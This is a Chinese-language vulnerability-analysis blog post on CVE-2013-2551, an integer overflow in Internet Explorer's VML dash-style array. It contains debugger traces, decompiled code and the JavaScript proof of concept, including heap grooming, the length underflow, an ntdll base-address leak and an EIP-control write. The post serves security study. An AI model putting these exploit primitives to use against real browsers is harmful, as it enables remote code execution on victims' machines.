CVE-2013-2551-Microsoft Internet Explorer COALineDashStyleArray 整数溢出漏洞

简介

Pwn2Own 2013的漏洞,发过安全团队VUPEN他们是攻击win8的ie10,利用rop和模块基址泄露实现任意代码执行

环境及工具

Windows 7
vm 12
windbg
ida

基于类函数定位的漏洞分析方法

这个poc还是比较长的,就不贴出来了,长了之后也对漏洞分析增加了不少难度(需要的下载漏洞战争的资料就好了)

在开启了hpa的情况下,崩溃信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
0:005> g
(f10.d54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1d04f064 ebx=68b54964 ecx=00000001 edx=00000000 esi=1d04f060 edi=0468bc14
eip=76529966 esp=0468bbd0 ebp=0468bbd8 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010297
msvcrt!memcpy+0x158:
76529966 8b448efc mov eax,dword ptr [esi+ecx*4-4] ds:0023:1d04f060=????????
0:005> kv
ChildEBP RetAddr Args to Child
0468bbd8 68afcfa9 0468bc14 1d04f060 00000004 msvcrt!memcpy+0x158
0468bbec 68b4da0f 1dae2fe8 0468bc14 00000044 vgx!ORG::Get+0x27 (FPO: [Non-Fpo])
0468bc18 759d3ec3 1dae2fe8 00000044 0468bc7c vgx!COALineDashStyleArray::get_item+0x8c (FPO: [Non-Fpo])
0468bc38 759d3d3d 1dceaff0 00000024 00000004 OLEAUT32!DispCallFunc+0x165
0468bcc8 68b347c1 07ea3454 1dceaff0 00000000 OLEAUT32!CTypeInfo2::Invoke+0x23f (FPO: [Non-Fpo])
0468be54 68b54a88 1dceaff4 1dceaff0 68b7223c vgx!COADispatch::Invoke+0x89 (FPO: [Non-Fpo])
0468be88 6868db38 1dceaff0 00000000 68680adc vgx!COADispatchImpl<IVgDashStyleArray,&IID_IVgDashStyleArray,COAShapeProg>::Invoke+0x2f (FPO: [Non-Fpo])
0468bec8 6868da8c 006e2d10 00000000 00000409 jscript!IDispatchInvoke2+0xf0
0468bf04 6868d9ff 006e2d10 00000409 00000003 jscript!IDispatchInvoke+0x6a
0468bfc4 6868db8a 006e2d10 00000000 00000003 jscript!InvokeDispatch+0xa9
0468bff0 6868d8c8 006e2d10 0468c024 00000003 jscript!VAR::InvokeByName+0x93
0468c03c 6868d96f 006e2d10 00000003 0468c1bc jscript!VAR::InvokeDispName+0x7d
0468c068 686851b6 006e2d10 00000000 00000003 jscript!VAR::InvokeByDispID+0xce
0468c204 68685c9d 0468c21c 0468c360 07fd8f88 jscript!CScriptRuntime::Run+0x2a97
0468c2ec 68685bfb 0468c360 00000000 07fd4f30 jscript!ScrFncObj::CallWithFrameOnStack+0xce
0468c334 68685e11 0468c360 00000000 07fd4f30 jscript!ScrFncObj::Call+0x8d
0468c3b0 6867f3ee 07fd8f88 0468e7a8 00000000 jscript!CSession::Execute+0x15f
0468c498 6867ea2e 00000000 00000001 0468c5e8 jscript!NameTbl::InvokeDef+0x1b5
0468c51c 6867a22a 07fd8f88 00000000 00000001 jscript!NameTbl::InvokeEx+0x12c
0468c558 6867a175 006e2d10 00000000 00000001 jscript!IDispatchExInvokeEx2+0x104
0468c594 6867f5f8 006e2d10 00000001 00000001 jscript!IDispatchExInvokeEx+0x6a
0468c624 672a19cb 0468c5e8 00000004 00000001 jscript!NameTbl::InvokeEx+0x37a
0468c65c 6729f451 0894efb0 00000001 00000001 mshtml!CScriptCollection::InvokeEx+0x8a
0468e6d0 67243148 0769ceb8 00002713 00000001 mshtml!CWindow::InvokeEx+0x6ad
0468e6f8 67243104 0769ceb8 00002713 00000001 mshtml!CBase::VersionedInvokeEx+0x20
0468e748 6729f4eb 1ada2fd8 00002713 00000001 mshtml!PlainInvokeEx+0xeb
0468e7b8 67292604 0769efa0 00002713 00000001 mshtml!COmWindowProxy::InvokeEx+0x339
0468e7e0 67243148 0769efa0 00002713 00000001 mshtml!COmWindowProxy::subInvokeEx+0x26
0468e808 67243104 0769efa0 00002713 00000001 mshtml!CBase::VersionedInvokeEx+0x20
0468e85c 6867a22a 086e7fd8 00002713 00000001 mshtml!PlainInvokeEx+0xeb
0468e898 6867a175 006e2d10 00002713 00000409 jscript!IDispatchExInvokeEx2+0x104
0468e8d4 6867a3f6 006e2d10 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
0468e994 686bd08b 00002713 00000001 00000000 jscript!InvokeDispatchEx+0x98
0468e9c4 6868e3e7 006e2d10 00000000 00000001 jscript!VAR::InvokeByDispID+0x157
0468eb60 68685c9d 0468eb78 0468ecbc 08a64f88 jscript!CScriptRuntime::Run+0x2b80
0468ec48 68685bfb 0468ecbc 00000000 07fd4fd0 jscript!ScrFncObj::CallWithFrameOnStack+0xce
0468ec90 68685e11 0468ecbc 00000000 07fd4fd0 jscript!ScrFncObj::Call+0x8d
0468ed0c 6867f3ee 08a64f88 0468ef50 00000000 jscript!CSession::Execute+0x15f
0468edf4 6867ea2e 00000000 00000001 0468eeac jscript!NameTbl::InvokeDef+0x1b5
0468ee78 672b7af1 08a64f88 00000000 00000804 jscript!NameTbl::InvokeEx+0x12c
0468eec8 672b7b91 092caf88 08a64f88 00000000 mshtml!CBase::InvokeDispatchWithThis+0x1e1
0468eff4 6722a932 fffffda8 80011778 1afb6fd8 mshtml!CBase::InvokeEvent+0x214
0468f154 67274dac 092caf88 075f2680 092caf88 mshtml!CBase::FireEvent+0xe1
0468f1cc 67274bdb 092caf88 08990fb0 00000000 mshtml!CElement::BubbleEventHelper+0x2d9
0468f334 670a0d11 6721d0f4 00000001 08990fb0 mshtml!CElement::FireEvent+0x2d1
0468f354 670a0dc4 08990fb0 00000000 0468f428 mshtml!CElement::Fire_onclick+0x1c
0468f390 67479cb0 0468f4a8 08990fb0 00000000 mshtml!CElement::DoClick+0x96
0468f3b8 670a1415 0468f4a8 08990fb0 00000000 mshtml!CInput::DoClick+0x3f
0468f454 6728d380 0468f4a8 09834fb0 00000000 mshtml!CDoc::PumpMessage+0xf18
0468f5cc 670a1bd7 00000202 00000000 001c0056 mshtml!CDoc::OnMouseMessage+0x55f
0468f6f8 672169de 075f2680 00000202 00000000 mshtml!CDoc::OnWindowMessage+0xa3e
0468f724 766886ef 000401b6 00000202 00000000 mshtml!CServer::WndProc+0x78

可以看到是vgx!ORG::Get里面调用了memcpy出的异常

看看崩溃前的memcpy的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:005> p
eax=1cd3b060 ebx=68be4964 ecx=1d7cefe8 edx=0450bce4 esi=1d9d6ff0 edi=0450c28c
eip=68b8cfa4 esp=0450bcb0 ebp=0450bcbc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vgx!ORG::Get+0x22:
68b8cfa4 e800a5ffff call vgx!memcpy (68b874a9)
0:005> dd esp
0450bcb0 0450bce4 1cd3b060 00000004 0450bce8
0450bcc0 68bdda0f 1d7cefe8 0450bce4 00000044
0450bcd0 07c8ce70 00000000 68c0223c 1d7c6f28
0450bce0 00000000 00000000 0450bd08 759d3ec3
0450bcf0 1d7cefe8 00000044 0450bd4c 07be2f24
0450bd00 051d1754 0450bcfc 0450bd98 759d3d3d
0450bd10 1d9d6ff0 00000024 00000004 0000000a
0450bd20 00000002 07be2f94 07be2f84 0450c28c

复制的大小为4,不是问题所在,先看看报错的复制的源地址1cd3b060

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
0:005> !heap -p -a 1cd3b060 
address 1cd3b060 found in
_DPH_HEAP_ROOT @ 1711000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
1ccc1548: 1cd3af50 b0 - 1cd3a000 2000
6ef28e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77634ea6 ntdll!RtlDebugAllocateHeap+0x00000030
775f7d96 ntdll!RtlpAllocateHeap+0x000000c4
775c34ca ntdll!RtlAllocateHeap+0x0000023a
76529d45 msvcrt!malloc+0x0000008d
68b856a5 vgx!GelHost::FAllocMemCore+0x0000000e
68bcc488 vgx!MsoFResizePx+0x00000069
68bcc60d vgx!MsoFGrowPx+0x00000018
68b8d047 vgx!ORG::FAppendRange+0x00000039
68bfa164 vgx!VGPIE5array::FAddElement+0x00000042
68bfa1de vgx!VGPIE5DwordArray::Text+0x00000060
68bcceb7 vgx!GetArrayVal+0x00000086
68bcd435 vgx!ParseDashStyle+0x00000021
68bcd475 vgx!CVMLShape::ParseDashStyleAttr+0x0000001a
68bdd759 vgx!COALineDashStyle::put_value+0x00000072
759d3ec3 OLEAUT32!DispCallFunc+0x00000165
759d3d3d OLEAUT32!CTypeInfo2::Invoke+0x0000023f
68bc47c1 vgx!COADispatch::Invoke+0x00000089
68be493a vgx!COADispatchImpl<IVgLineDashStyle,&IID_IVgLineDashStyle,COAShapeProg>::Invoke+0x0000002f
759dc0b8 OLEAUT32!CTypeInfo2::Invoke+0x000005a2
68bc47c1 vgx!COADispatch::Invoke+0x00000089
68be304a vgx!COADispatchImpl<IVgStroke,&IID_IVgStroke,COAShapeProg>::Invoke+0x0000002f
665a9884 mshtml!InvokeDispatchWithNoThis+0x00000074
6659f7a7 mshtml!CPeerHolder::InvokeExSingle+0x000000e4
6659f6d8 mshtml!CPeerHolder::InvokeExMulti+0x00000139
6659f641 mshtml!CElement::ContextInvokeEx+0x00000064
6659c79a mshtml!CInput::VersionedInvokeEx+0x0000002d
66543104 mshtml!PlainInvokeEx+0x000000eb
6881a22a jscript!IDispatchExInvokeEx2+0x00000104
6881a175 jscript!IDispatchExInvokeEx+0x0000006a
6881a3f6 jscript!InvokeDispatchEx+0x00000098
6881a4a0 jscript!VAR::InvokeByName+0x00000139

可以看到这个地址已经超过了堆的空间

1
2
0:005> ? 1cd3af50 +b0
Evaluate expression: 483635200 = 1cd3b000

看看Get函数

1
2
3
4
5
6
7
8
void __stdcall ORG::Get(ORG *this, void *Dst, int a3)
{
if ( Dst )
memcpy(
Dst,
(const void *)(*((_DWORD *)this + 4) + a3 * (*((_DWORD *)this + 2) & 0xFFFF)),
*((_DWORD *)this + 2) & 0xFFFF);
}

源地址来自第一个参数,我们再向上COALineDashStyleArray::get_item,但是这个还是来自上层的this

再上面就不是vgx的函数了,漏洞的出发点可能不在当前的堆栈信息中

作者又给了一种分析方法,就是尝试去理解poc的代码,其实这样的理解方式很好,会让你深刻地理解到代码的作用,触发异常或者漏洞利用的点,还可以对下一次类似代码的分析的时候提供帮助,那开始吧

一开始是一些包含,声明的东西,应该类似于我们的C,C++吧

1
2
3
4
5
<!-- Include the VML behavior -->
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />

接下来看看body,加载就调用createRects函数,具体见注释

1
2
3
4
5
6
7
8
9
<body onload="createRects();">
<v:oval> <!-- 用VML画圆 -->
<v:stroke id="vml1"/> <!-- 设置线条stroke的id -->
</v:oval>
<v:oval>
<v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/> <!-- 这里设置线条的风格和id -->
</v:oval>
<input value="crash!!!"type="button" onclick="crashme();"></input>
</body>

createRects函数,创建了400个v:shape元素,设置上id,并添加到body

1
2
3
4
5
6
7
8
9
10
var rect_array = new Array()
var a = new Array()

function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}

最后就是crashme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function crashme(){

var vml1 = document.getElementById("vml1")
var shape = document.getElementById("shape")

for (var i=0; i<0x400; i++){ //set up the heap
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
} //获取400个v:shape的_vgRuntimeStyle属性(即运行时样式)

for (var i=0; i<0x400; i++){
a[i].rotation; //create a COARuntimeStyle 这里有点奇怪,只是获取了属性,当时没有任何赋值
if (i == 0x300) { //allocate an ORG array of size B0h
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
} // i为300的时候设置vml1的dashstyle
}

vml1.dashstyle.array.length = 0 - 1 //这两个都设置成-1(0xffffffff),这个很明显的可能的整数溢出操作
shape.dashstyle.array.length = 0 - 1

for (var i=0; i<0x400; i++) { //下面这里就是设置marginLeft,并获取dashstyle里面的item,作为marginLeftAddress,之后设置marginLeftAddress(0x2E+0x16=0x44)
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
try{
shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
}
catch(e) {continue}
}
}
}

接下来我们根据作者的注释COARuntimeStyle,在ida搜索一下,一开始的操作_vgRuntimeStyle和rotation应该跟这个类相关的

那dashstyle的操作呢,我们也可以找到操作,而且那个看着基本肯定是整数溢出的-1,我们也看到了XXXArray::put_length的操作

那我们就下来跟踪一下put_length的操作,对COALineDashStyleArray::put_length下断点,用bu吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:005> g
Breakpoint 0 hit
eax=0000000a ebx=68514964 ecx=6850dad5 edx=0883cfea esi=08e4ee80 edi=0464bf64
eip=6850dad5 esp=0464bf18 ebp=0464bf30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vgx!COALineDashStyleArray::put_length:
6850dad5 8bff mov edi,edi
0:005> dd esp
0464bf18 759d3ec3 1dac4ff0 ffffffff 0883cfa4
0464bf28 043d17d8 0464bf24 0464bfc0 759d3d3d
0464bf38 1dac4ff0 00000030 00000004 0000000a
0464bf48 00000001 0883cfec 0883cfe4 0464bf64
0464bf58 6853223c 00000002 759cf958 759c0000
0464bf68 761f66bc 0883cfa0 04f4bf30 1dac4ff0
0464bf78 0883cfa0 00000060 00000000 0464bfa0
0464bf88 759c3ea3 0883cfa0 00000050 00000001

可以看到第二个参数为-1(0xffffffff)

我们一步步跟,发现这个函数并没有什么异常,但是我们可能对DeleteRange这个函数有疑虑,

下面跟进DeleteRange,它调用了MsoDeletePx

1
2
3
4
void __stdcall ORG::DeleteRange(ORG *this, int a2, int a3)
{
MsoDeletePx((char *)this + 4, a2, a3);
}

继续

1
2
3
4
5
int __stdcall MsoDeletePx(void *Dst, int a2, int a3)
{
MsoFRemovePx(Dst, a2, a3);
return MsoFCompactPx(Dst, *(_WORD *)Dst == 0);
}

由于上面传递的是(char *)this + 4,实际上当前Dst指向的就是dashstyle的长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int __stdcall MsoFRemovePx(void *Dst, int length, int a3)
{
_WORD *dashstyleLen; // [email protected]
unsigned int v4; // [email protected]
char *v5; // [email protected]
char *v6; // [email protected]
bool v7; // [email protected]
int v8; // [email protected]
char *Dsta; // [sp+14h] [bp+8h]@2
int lengtha; // [sp+18h] [bp+Ch]@2

dashstyleLen = Dst;
v4 = *((_DWORD *)Dst + 1) & 0xFFFF;
v5 = (char *)(*((_DWORD *)Dst + 3) + length * v4);
if ( *((_DWORD *)Dst + 1) < 0 ) // 不进入if
{
lengtha = 0;
Dsta = v5;
v6 = v5;
while ( a3 )
{
v7 = (*(_DWORD *)v6)-- == 1;
if ( v7 )
{
++lengtha;
}
else
{
memcpy(Dsta, v6, dashstyleLen[2]);
Dsta += *((_DWORD *)dashstyleLen + 1) & 0xFFFF;
}
--a3;
v6 += *((_DWORD *)dashstyleLen + 1) & 0xFFFF;
}
a3 = lengtha;
v4 = *((_DWORD *)dashstyleLen + 1) & 0xFFFF;
v5 = Dsta;
length = (unsigned int)&Dsta[-*((_DWORD *)dashstyleLen + 3)] / v4;
}
v8 = *dashstyleLen;
if ( a3 + length != v8 && a3 > 0 ) // 由于a3 + length 相当于变回dashstyleLen了,所以这里相等,不满足if条件,跳过if
memmove(v5, &v5[a3 * v4], v4 * (v8 - length - a3));
*dashstyleLen -= a3; // 重点来了,dashstyleLen减去一个比自己大1的值,最终导致dashstyle变成-1(0xffff)了
return a3;
}

为什么是0xfffff呢,因为汇编指令是word啊

1
sub     word ptr [esi],bx

我们看看实际内存

1
2
0:005> dd esi l1
1d818fec 002cffff

实际我们只有0x2c大小,但是这里实际设置成了0xffff

所以我们后面用dashstyle.array.item索引的时候就绕过了长度检测,最终触发异常

但是这里值得思考的是,为什么要触发两个整数溢出,第一个用了获取,没出发异常,第二次写入才触发的异常(后来发现exp就触发了一次整数溢出)

漏洞利用

参考:http://bobao.360.cn/learning/detail/3029.html

下面只是分析别人的结果

先看信息泄露,贴出跟poc不同的部分,可以看到先获取marginLeftAddress,保存后,就将那个地址的值改为我们想要读取的值,比如下面的0x7ffe0300(在这个地址处存放的值与ntdll.dll模块的基地址有一个固定的偏移),之后就通过a[i].marginLeft泄露0x7ffe0300里面的值,但是不要忘记恢复marginLeftAddress的值,最后通过偏移计算出ntdll的基址

1
2
3
4
5
6
7
8
9
10
11
12
13
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
ntdll_base=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16 ) - 290992;
(ntdll_base.toString(16));
break;
}
}

控制eip是下面的,

1
2
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;

堆喷代码

自愿打赏专区